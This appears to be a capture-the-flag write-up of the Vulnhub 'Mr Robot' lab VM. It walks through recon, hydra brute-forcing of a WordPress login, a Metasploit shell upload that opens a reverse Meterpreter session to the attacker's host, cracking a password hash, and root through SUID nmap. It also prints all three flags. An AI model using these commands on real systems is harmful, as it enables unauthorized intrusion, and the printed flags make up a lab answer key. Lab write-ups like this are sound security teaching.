Mr robot
Welcome to another Vulnhub writeup. This time we’ll work with Mr Robot:
Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
Recon
Without further addo let’s go with some standard recon things:
# nmap 192.168.0.105 -p- -sT -sV -O
Starting Nmap 7.50 ( https://nmap.org ) at 2017-09-11 12:16 EDT
Nmap scan report for 192.168.0.105
Host is up (0.00076s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
MAC Address: 08:00:27:CF:60:28 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
Network Distance: 1 hop
So, there seems to be some HTTP server up. Browsing didn’t give up much. It just looks like some ‘Mr. Robot’ meta-commercial. So I decide to do more insightful HTTP scan:
# nikto -host 192.168.0.105
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.105
+ Target Hostname: 192.168.0.105
+ Target Port: 80
+ Start Time: 2017-09-11 12:51:44 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.0.105/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7535 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2017-09-11 12:58:25 (GMT-4) (401 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Flag 1
So, there seems to be some wordpress intalation working. We’ll get right to that just after we check out the robots.txt file:
User-agent: *
fsocity.dic
key-1-of-3.txt
Bingo! Opening key-1-of-3.txt file give us the first flag:
073403c8a58a1f80d943455fb30724b9
Flag 2
Another interesting file revealed by robots.txt file is named fsocity.dic and it seems to be kind of dictionary. Unfortunatetly it’s full of double entries, so we need to clean it up:
# wget http://192.168.0.105/fsocity.dic
# sort fsocity.dic | uniq > fsocity.uniq.dic
# wc -l fsocity.dic
858160 fsocity.dic
# wc -l fsocity.uniq.dic
11451 fsocity.uniq.dic
Filtered dictionary is roughly only 1% of original file. That should radically shorten amount of time needed for enumeration.
But what to enumerate? Let’s give a go a standard wp-login form. Worpress login page is kind enough to tell us if we got the username right, so we can split the enumeration in two stages to further decrease number of combinations. First we go with login enumeration with any, constant password:
# hydra -L fsocity.uniq.dic -p dupa 192.168.0.105 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.105%2Fwp-admin%2F&testcookie=1:Invalid username"Hydra
[80][http-post-form] host: 192.168.0.105 login: elliot password: dupa
[80][http-post-form] host: 192.168.0.105 login: Elliot password: dupa
[80][http-post-form] host: 192.168.0.105 login: ELLIOT password: dupa
[STATUS] 454.85 tries/min, 9097 tries in 00:20h, 2355 to do in 00:06h, 16 active
1 of 1 target successfully completed, 3 valid passwords found
Now, that we know the login, we can hardcode it and enumerate the password:
hydra -l elliot -P fsocity.uniq.dic 192.168.0.102 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.102%2Fwp-admin%2F&testcookie=1:incorrect"
[STATUS] 709.00 tries/min, 709 tries in 00:01h, 10743 to do in 00:16h, 16 active
[STATUS] 705.00 tries/min, 2115 tries in 00:03h, 9337 to do in 00:14h, 16 active
[STATUS] 702.29 tries/min, 4916 tries in 00:07h, 6536 to do in 00:10h, 16 active
[80][http-post-form] host: 192.168.0.105 login: elliot password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
As we can see the credentials to wordpress installation are the following:
elliot:ER28-0652
Having admin rights on Wordpress gives us plenty of possibilities to escalate the attack. I’m feeling kinda lazy so I decide to use preprepared solution from Metasploit:
msfconsole -q
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > info
Name: WordPress Admin Shell Upload
Module: exploit/unix/webapp/wp_admin_shell_upload
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-02-21
Provided by:
Rob Carr <rob@rastating.com>
Available targets:
Id Name
-- ----
0 WordPress
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ER28-0652 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.0.105 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME elliot yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module will generate a plugin, pack the payload into it and
upload it to a server running WordPress providing valid admin
credentials are used.
Unfortunately my first attempts to attack ended in error:
'The target does not appear to be using WordPress'
Just because I know target uses WordPress, I decide to comment out the line throwing the exception from the exploit:
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
Surprisingly enough this worked. I’m not sure if it was some script-kiddie precaution or the WordPress installation was not standard.
Above tweak wasn’t enough though. The exploit did authenticate in WordPress but failed to upload a payload with error:
Unexpected reply error : Failed to upload the payload.
I look up the place in code where the exception is thrown:
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_update,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'vars_get' => { 'action' => 'upload-plugin' }
)
if res && res.code == 200
vprint_status("Uploaded plugin #{name}")
return true
else
vprint_error("Server responded with code #{res.code}") if res
vprint_error("Failed to upload plugin #{name}")
return false
end
According to code where the exception is thrown, the exploit should also print out the status code, but it doesn’t… unless there isn’t any reply at all. Timeout? Let’s check out:
msf exploit(wp_admin_shell_upload) > set HttpClientTimeout 300
msf exploit(wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.0.10:4444
[*] Authenticating with WordPress using elliot:ER28-0652...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/XNNqYnXTer/QRrAPGncgf.php...
[*] Sending stage (33986 bytes) to 192.168.0.105
[*] Meterpreter session 1 opened (192.168.0.10:4444 -> 192.168.0.105:43825) at 2017-09-19 13:58:15 -0400
Bingo! Let’s poke around in shell:
shell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
cat /etc/shadow
cat: /etc/shadow: Permission denied
No surprises here. We could list users but not passwords. That’d be too easy. But what is in home dir?
cd /home
ls
robot
cd robot
ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
So we’ve found a file with a flag but it can be read only by a ‘robot’ user. That shouldn’t be a problem since we were also given a readable file with (hashed) robot password:
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Using any online rainbow table we find out that credentials are:
robot:abcdefghijklmnopqrstuvwxyz
Now we need to spawn a shell with TTY to be able to su the ‘robot’ user:
/bin/sh -i
/bin/sh: 0: can't access tty; job control turned off
Simple solution didn’t work, how about more sophisticated?
python -c 'import pty; pty.spawn("/bin/sh")'
$ su - robot
Password: abcdefghijklmnopqrstuvwxyz
$ whoami
robot
$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
Flag 3
Now it is time to get root. How can we do that? For starters lets try to find out application with SUID and owned by root:
$ find / -user root -perm -4000 2> /dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
As we can see there’s nmap application. We can use it spawn shell with root privileges:
$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
Yay! We have root. Last thing to do: find a flag. Since we could establish a pattern how the flag files are named let’s just try to find it:
$ find / -name key-3-of-3.txt
/root/key-3-of-3.txt
$ cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Summary
That’s all folks! We have all three keys and root on victim machine. I hope you enjoyed this writeup. If you have any questions shoot me in the comment section, I’ll try my best to answer :)
Flags
073403c8a58a1f80d943455fb30724b9 822c73956184f694993bede3eb39f959 04787ddef27c3dee1ee161b21670b4e4